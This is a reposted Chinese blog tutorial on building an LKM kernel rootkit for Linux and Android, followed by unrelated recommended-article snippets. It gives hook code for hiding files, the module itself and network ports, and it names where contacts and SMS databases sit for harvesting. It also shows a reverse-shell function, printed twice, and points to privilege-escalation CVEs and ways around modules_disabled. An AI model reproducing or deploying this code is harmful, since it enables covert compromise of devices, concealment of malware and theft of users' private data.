小谈android/Linux rootkit(基于LKM)-程序员宅基地

     最近又学习了一下,感觉还有好多东西不知道,以后积累多一点再从新写一个。

  在android上捣鼓了一下linux的内核rootkit,虽然中途遇到了无数坑,至今也没有完全写完,打算先好好啃一段时间linux内核,和理解一下android的linux内核的安全机制再继续写。但还是收获不小,想分享一下学习的一点小心得。

  一个完整的内核rootkit大致可分为3个部分,分别为一:自身隐藏,二:信息收集,三:系统攻击。本文也打算从这三方面入手,其中自身隐藏和pc端大体一致。鉴于pc比android运行方便,就直接在pc上进行测试了,对于系统攻击来说,脑洞越大,攻击方式就越多,思路就越广。当然,由于作者的水平有限,中有错误,敬请指教。

一:自身隐藏

  从信息隐藏开始,一个优秀的内核rootkit应该潜伏在系统的角落就像古代的刺客一般,无声无息,。至少需要做到以下几点:

    一:文件隐藏

    二:内核模块隐藏

    三:端口隐藏

    四:进程隐藏

  简单粗暴的隐藏方法是直接hook系统调用表(sys_call_table),一方面,由于不少anti-rootkit会检测sys_call_table,另一方面,用这个方法就少了很多理解linux的机会。所以,打算换一种方式来进行hook,hook 函数api。

  在笔者眼中,hook 函数基本就是先缕清实现功能的函数的具体工作流程,找到hook点,这个hook点基本是一个数据结构里的指针,然后想办法得到这个数据结构的实例,将

这个指针替换成的自己编写的函数的地址。

  1.实现文件隐藏。新版本和老版本在实现ls时有一定的区别。老版本(以2.6.11为例)调用的是file_operation->readdir(),而新版本(以4.4.20为例)file_operation->iterator(),分别对两者的hook实现进行分析,更能加深对hook的理解。先看老版本,直接看源代码,file_operations的数据结构位于/include/linux/fs.h

在/fs/($fs文件系统格式)/dir.c中,file_operation->readdir进行赋值,大致的调用流程为sys_getdents->ext4_readdir(readdir所赋值得函数)--ext4_dx_readdir在其中用filldir_t输出缓冲。所以,可以直接hook readdir,在hook_readdir里面替换了filldir函数。

int hook_readdir(struct file  filp,void * buffer,filldir_t filldir)

{
        real_filldir = filldir;
        return real_readdir( filp, buffer,fake_filldir);
}

int fake_filldir(void * __buf, const char * name, int namlen, loff_t offset,u64 ino, unsigned int d_type)
{
    if (strcmp(name, SECRET_FILE) == 0) {
        printk("Hiding: %s", name);
        return 0;
    }
    return real_filldir(__buf, name, namlen, offset, ino, d_type);
}

然后需要找到file_operation的实例,并进行hook简化代码如下:

filp = filp_open(path, O_RDONLY, 0); 
f_op = (struct file_operations *)filp->f_op; 
old = f_op->op;                           
disable_write_protection();                
f_op->op = new;                                  enable_write_protection();                      
                                           

 

于是乎,便完成了基本的文件隐藏。

在看一下新版本的文件隐藏,直接看源代码:

在新版中,是调用了iterator函数,遗憾的是,不能直接看到filldir函数,直接分析函数流程sys_getdents->ext4_readdir(readdir所赋值得函数)->ext4_dx_readdir,由于参数改变,内部实现有变化,经过很多阶段,会发现,dir_context->actor就是我们需要的filldir函数,所以,进行hook,简化代码如下:

int
hook_iterate(struct file *filp, struct dir_context *ctx)
{

    real_filldir = ctx->actor;
    *(filldir_t *)&ctx->actor = hook_filldir;
    return real_iterate(filp, ctx);
}


int
hook_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        fm_alert("Hiding: %s", name);
        return 0;
    }
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

两者的函数实现虽然略有不同,但是hook的机理却相似。

  2:实现内核模块隐藏

   传统的内核模块隐藏大致可以分为两部分其一:针对lsmod命令进行隐藏,基本逻辑是insmod在进行加载的时候会将自己的信息struct module结构体相关联,而所有的内核模块都被维护在一个全局链表中,lsmod通过对这个链表进行遍历来输出所有的模块信息,所以直接将模块进行删除就可以了,linux内核自带这个函数,函数为list_del_init,定义于include/linux/list.h中,我们可以看下它的实现:

static inline void list_del_init (struct list_head * entry)
{
     __list_del (entry->prev, entry->next);
     INIT_LIST_HEAD (entry);
}
 
static inline void __list_del (struct list_head * prev, struct list_head * next)
{
     next-> prev = prev;
     prev-> next = next;
}
 
static inline void INIT_LIST_HEAD (struct list_head * list)
{
     list-> next = list;
     list-> prev = list;
}

   其二,为针对/sys/module/的隐藏

  sys目录下挂在的是sysfs文件系统,sysyfs是一个处于内存的虚拟文件系统,为我们提供kobject对象层次结构,是我们以一个简单文件系统的方式观察各种设备的拓扑结构,其中modules里就包含所有的模块信息,而在sysfs系统中,它和kobject紧密相关,可用kobject_add和kobject_del函数进行增加和删除,具体代码代码如下:

void kobject_del(struct kobject *kobj)
{
    struct kernfs_node *sd;

    if (!kobj)
        return;

    sd = kobj->sd;
    sysfs_remove_dir(kobj);
    sysfs_put(sd);

    kobj->state_in_sysfs = 0;
    kobj_kset_leave(kobj);
    kobject_put(kobj->parent);
    kobj->parent = NULL;
}

int kobject_add(struct kobject *kobj, struct kobject *parent,
        const char *fmt, ...)
{
    va_list args;
    int retval;

    if (!kobj)
        return -EINVAL;

    if (!kobj->state_initialized) {
        printk(KERN_ERR "kobject '%s' (%p): tried to add an "
               "uninitialized object, something is seriously wrong.\n",
               kobject_name(kobj), kobj);
        dump_stack();
        return -EINVAL;
    }
    va_start(args, fmt);
    retval = kobject_add_varg(kobj, parent, fmt, args);
    va_end(args);

    return retval;
}

以上便是比较比较流行有效的方法,当然,也有它的缺陷,比如无法卸载:

测试代码如下:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

static int hook_init(void)
{
    list_del_init(&__this_module.list);
    kobject_del(&THIS_MODULE->mkobj.kobj);    

    printk("module loaded\n");
    return 0;
}

static void hook_exit(void)
{
    printk("module removed\n");
}

module_init(hook_init);
module_exit(hook_exit);

  所以,可以用hook函数的方法来进行隐藏,浏览内核源码,我们可以发现, /proc/modules 的实现位于kernel/module.c , 并且主要的实现函数是m_show  。搜索m_show

,可以发现函数是被赋值给seq_operations->show(),

struct seq_operations {
      void * (*start) (struct seq_file *m, loff_t *pos);
      void (*stop) (struct seq_file *m, void *v);
      void * (*next) (struct seq_file *m, void *v, loff_t *pos);
       int (*show) (struct seq_file *m, void *v);
  };
 

直接搜索调用,发现只有module_open()调用了该数据结构,进入该函数观察:

int seq_open(struct file *file, const struct seq_operations *op)
{
    struct seq_file *p;
    WARN_ON(file->private_data);
    p = kzalloc(sizeof(*p), GFP_KERNEL);
    if (!p)
        return -ENOMEM;
    file->private_data = p;
    mutex_init(&p->lock);
    p->op = op;
#ifdef CONFIG_USER_NS
    p->user_ns = file->f_cred->user_ns;
#endif
    file->f_version = 0;
    file->f_mode &= ~FMODE_PWRITE;
    return 0;
}

意思大致是file->private_data->op = op,而op包含了show函数,得到file->private_data->op的实例,对其进行hook,简化代码如下

filp = filp_open(path, O_RDONLY, 0);
seq = (struct seq_file *)filp->private_data; 
seq_op = (struct seq_operations *)seq->op; 
old = seq_op->show;                                   
disable_write_protection();                 
seq_op->show = new;                             
enable_write_protection();                           
                                                         

 

  三:隐藏端口

  端口隐藏和模块类似,粗略写一下,lxr里直接找show函数,以tcp为例,发现在net/ipv4/tcp_ipv4中,数据结构tcp4_seq_afinfo中show被tcp_seq_show赋值,查找tcp4_seq_afinfo,然后经过几轮跟踪,最后在proc_create_data中被赋值给proc_dir_entry->data,利用宏afinfo=PED_DATA(filp->f_path.dentry->i_inode)hook简化代码如下:

filp = filp_open(path, O_RDONLY, 0);
afinfo = PDE_DATA(filp->f_path.dentry->d_inode);
old = afinfo->seq_ops.op; 
 afinfo->seq_ops.op = new;
filp_close(filp, 0);  

基本功能实现代码为:

int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];
    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    ret = real_seq_show(seq, v);

    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s.\n",
                 SECRET_PORT, needle);
        seq->count -= TMPSZ;
    }

    return ret;
}

  四:进程隐藏

  根据linux一切即文件,直接hook /proc目录即可,略。

二:信息收集

  android手机的数据都在/data/data里面,其中通讯录位置在/data/data/com.providers.contacts/databases/contacts2.db,短信信息是在./data/data/com.android.providers.telephony/databases/mmssms.db,至于想怎么玩,看你们自己的喽。

 

三:系统攻击

  只是提供一些思路和一些尝试。

  首先,当然要先建立一个reverseshell,这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码:

void reverseshell ()
{
  static char *path = "/data/local/shell";
  char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me
  static char *envp[] =
    { "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
  call_usermodehelper (path, argv, envp, 1);
}

  当然,如果手机没有root,自然没办法insmod,可以想办法先把手机root掉。这个方面可以利用一些的linux提权的exp。从网上找,或者直接逆向市场上的一键root软件,直接提取exp,又或者自己挖0day(偷笑),写exp,下面提供几个最近的cve提权漏洞的编号,下一篇文章可能会谈论这方面的东西。有兴趣也可以自己看分析文章CVE-2015-1805(数组越位漏洞,exp没怎么看懂),CVE-2015-3636(UAF漏洞,去年挺有名的一个漏洞,也很好用),CVE-2015-3636(UAF导致的整数溢出,说真的,实用价值不高,有人测试,i7电脑都要跑半个小时,手机。。。不说了)。

  然后看一下怎么绕过modules_disaled:先看一下在/kernel/modules.c关于这一机制的源码:

SYSCALL_DEFINE3(init_module, void __user *, umod,
        unsigned long, len, const char __user *, uargs)
{
    int err;
    struct load_info info = { };

    err = may_init_module();
    if (err)
        return err;

    pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
           umod, len, uargs);

    err = copy_module_from_user(umod, len, &info);
    if (err)
        return err;

    return load_module(&info, uargs, 0);
}

  可以看到,初始化模块的系统调用(和其他系统调用像delete_module / finit_module /)将在允许模块进行之前先进行modules_disaled判定。那么,我们如何绕过这个问题呢?首先,先看看其他不依赖这些系统调用的模块加载,但是这些只用于启动或者做一些用户数据无法抵达的函数调用。所以,最好的思路就是想办法改掉modules_disbled的值。

  Mathew Garrett在2013年在linux邮件列表上发了一遍文章,他提出了12种不同的方法:

    1:利用kexec函数:kexec是linux内核的一个特性,允许在运行时替换内核。

      不得不说kexec是一个很神奇的函数,它是linux内核的特性,允许在运行时替换内核。

     原理如下:kexec系统调用接口取得段列表(指向用户缓存和预期目标)和入口指针,内核重定位这些段并跳到入口指针所指的地址,由于这个地址上两 个内核代码之间,所以被称为purgatory。purgatory主要作用是设置第二个内核代码的环境,并调转到第二个内核之中,而第一个内核根本不知 道第二个内核发生了什么,而你就能在第二个内核里加载任何东西了。详情参考http://mjg59.dreamwidth.org/28746.html 。  

    2:利用cve-2013-0368:

      cve是这样描述的"Linux kernel 3.7.6之前版本中的arch/x86/kernel/msr.c中的msr_open函数中存在漏洞。以root权限执行特制的应用程序如msr32.c,本地攻击者利用该漏洞绕过预期的功能限制。"

  现在可以看一下攻击了,说到攻击,肯定要建立一个reverseshell,这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码:

void reverseshell ()
{
  static char *path = "/data/local/shell";
  char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me
  static char *envp[] =
    { "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
  call_usermodehelper (path, argv, envp, 1);
}

  

  其它的技术有限,日后再说吧!

 

转载于:https://www.cnblogs.com/0xJDchen/p/5887241.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30797027/article/details/97971516

智能推荐

i7升级win11电脑发热,笔记本升级完win11发热严重-程序员宅基地

文章浏览阅读204次,点赞6次,收藏4次。很多人升级win11之后反馈CPU常常居高不下,经常在80°以上,严重时超过90°,风扇狂转,间接性蓝屏死机。是什么原因造成的呢?但是它的cpu占用率会很高,我们可以在进程中查看cpu的占用率,接下来带来解决方法。笔记本升级完win11发热严重,建议不要运行电脑承受不起的程序或游戏,这样可以有效减少电脑的运行负担。可以为电脑增加一个散热器,这种一般是usb外置的散热工具,适用于笔记本,不适合台式机哦。3、右键点击“开始”,打开“计算机管理”,打开“服务”。1、右键点击“开始”,打开“任务管理器”。

Kali下安装MITMF时,"没有可用的软件包 libpcap0.8-dev,但是它被其它的软件包引用了"错误解决办法_no package libpcap-dev available-程序员宅基地

文章浏览阅读4.9k次,点赞2次,收藏3次。在安装MITMF显示如下错误:试了很很多方法,终于找到了一个可以用的办法:1.apt-get update2.root@kali:~# apt-get install python-dev python-setuptoolslibpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-devlibxml2-dev libxsl..._no package libpcap-dev available

jira-7.12.1+confluence-6.13.1安装配置_服务器上安装confuence6.13-程序员宅基地

文章浏览阅读518次。一. 环境配置CentOS Linux release 7.5JDK 1.8JIRA 7.12.1CONFLUENCE 6.13.1二. JDK 1.8安装配置下载jdk1.8,安装到目录/usr/java/jdk1.8设置环境变量:export JAVA_HOME=/usr/java/jdk1.8export PATH=JAVAHOME/bin:JAVA_HOME/bin:JAVAH​OME/bin:PATH三. JIRA 安装配置到官网下载相应jira版本:https://w_服务器上安装confuence6.13

解决报错ImportError: IProgress not found. Please update jupyter and ipywidgets.-程序员宅基地

文章浏览阅读1.2w次,点赞30次,收藏31次。问题描述在用transformers模型导入预训练模型时,报错:ImportError: IProgress not found. Please update jupyter and ipywidgets. See https://ipywidgets.readthedocs.io/en/stable/user_install.html解决方法(1)首先很多博客说是jupyter的版本过低了,但是卸载再重装也不行:# 可以先用你的环境 conda activate xx# 卸载jupyter_importerror: iprogress not found. please update jupyter and ipywidgets. see

ARM体系结构简介:嵌入式系统的基石-程序员宅基地

文章浏览阅读61次。ARM体系结构采用了三种基本指令集:ARM指令集(32位)、Thumb指令集(16位)和Thumb-2指令集(混合32位和16位)。ARM体系结构包括三种基本指令集:ARM指令集(32位)、Thumb指令集(16位)和Thumb-2指令集(混合32位和16位)。2.2 强大的可扩展性:ARM体系结构支持多核处理器和对称多处理(SMP)系统,使得处理器性能能够随着需求的增长而扩展。2.2 可扩展性强:ARM体系结构支持多核处理器和对称多处理(SMP)系统,使得处理器性能能够随着需求的增长而扩展。

数值分析常见基本算法及MATLAB代码总结_数值方法matlab第四版答案代码-程序员宅基地

文章浏览阅读1.9w次,点赞66次,收藏555次。刚考完研究生的数值分析课,打算整理一下平时的上机代码,做一个汇总。数值分析大致八部分内容——解线性方程组的直接法:Gauss消去法与矩阵三角分解法(Doolittle分解法相比Crout分解法更常用)及其选择列主元的改进方法、Doolittle分解法的延伸(实对称正定矩阵利用Cholesky分解得到的平方根法、三对角矩阵作为线性方程组系数矩阵的追赶法)解线性方程组的迭代法:Jacobi迭代法、Gauss-Seidel迭代法(利用前者每次迭代已得到的最新分量加速)、逐次超松弛(SOR,Succes_数值方法matlab第四版答案代码

随便推点

Python批量修改、删除、替换xml文件内容(labelimg标注)_labelimg删除标签会把classes里的内容删除-程序员宅基地

文章浏览阅读1w次,点赞25次,收藏114次。使用模型训练自定义数据集之前,在用在网上搜索得到的图片制作数据集时,即使批量修改图片名称后,在使用labelimg标注得到的xml文件中,图片名称还是网络上图片原本的名称,这时需要对其进行批量修改。<annotation> <folder>测试图片</folder> <filename>ae2f50b6a937df1e1a72f9bcc45b172d.jpg</filename> <path>F:\项目图像数据集\ae2f5_labelimg删除标签会把classes里的内容删除

读书笔记:getting things done_get things done读后感-程序员宅基地

文章浏览阅读729次。http://www.amazon.com/Getting-Things-Done-Stress-Free-Productivity/dp/0142000280/ref=sr_1_1?s=books&ie=UTF8&qid=1401151197&sr=1-1&keywords=getting+things+done_get things done读后感

python周期函数的拟合_Python可以拟合函数(数学意义)吗?-程序员宅基地

文章浏览阅读476次。可以的,有多种方法进行任意函数曲线的拟合。但如果你是普朗克,你得先猜出来黑体辐射的公式样子,拟合只能给出系数。——————————————1、第一种是进行多项式拟合,数学上可以证明,任意函数都可以表示为多项式形式。具体示例如下:###拟合年龄import numpy as npimport matplotlib.pyplot as plt#定义x、y散点坐标x = [10,20,30,40,50,..._python周期性函数的拟合

2017第八届蓝桥杯决赛(C++ B组)2.磁砖样式-程序员宅基地

文章浏览阅读102次。磁砖样式小明家的一面装饰墙原来是 310 的小方格。现在手头有一批刚好能盖住2个小方格的长方形瓷砖。瓷砖只有两种颜色:黄色和橙色。小明想知道,对于这么简陋的原料,可以贴出多少种不同的花样来。小明有个小小的强迫症:忍受不了任何22的小格子是同一种颜色。(瓷砖不能切割,不能重叠,也不能只铺一部分。另外,只考虑组合图案,请忽略瓷砖的拼缝)显然,对于 23 个小格子来说,口算都可以知道:一共..._蓝桥杯c++b组2017决赛铺瓷砖 答案

AndroidStudio 配置NDK开发环境,SDKManager下没有SDK问题_android studio 的sdk manager 不显示sdk-程序员宅基地

文章浏览阅读1.7k次。今天开始配置NDK开发环境根据需要配置NDK、CMake、LLDB。尝试自己下载NDK,指定NDK目录,发现编译又找不到CMake,之后果断放弃。尝试找SDKManager 先没有这几项的原因。最后发现 File--Setting--Appearance&Behavior--System Settings--Http Proxy下,选择了Manual proxy configura_android studio 的sdk manager 不显示sdk

8个高质量免抠素材网站-程序员宅基地

文章浏览阅读6.3k次。8个高质量免抠素材网站 标签:免扣素材ppt 素材1.PngImg网址: http://pngimg.com/PngImg 网站是一个收录了近5万个免费的网页设计图片素材的站点,拥有详细的分类,如蔬菜、动物、水果、花卉、服装、食品、家具等等,所有的素材资源设计师们都可以无需注册免费下载使用。PngImg 网站内建搜寻功能,或者可使用单字开头AZ方式快速查找,本身首页设计就跟一般的..._免扣素材库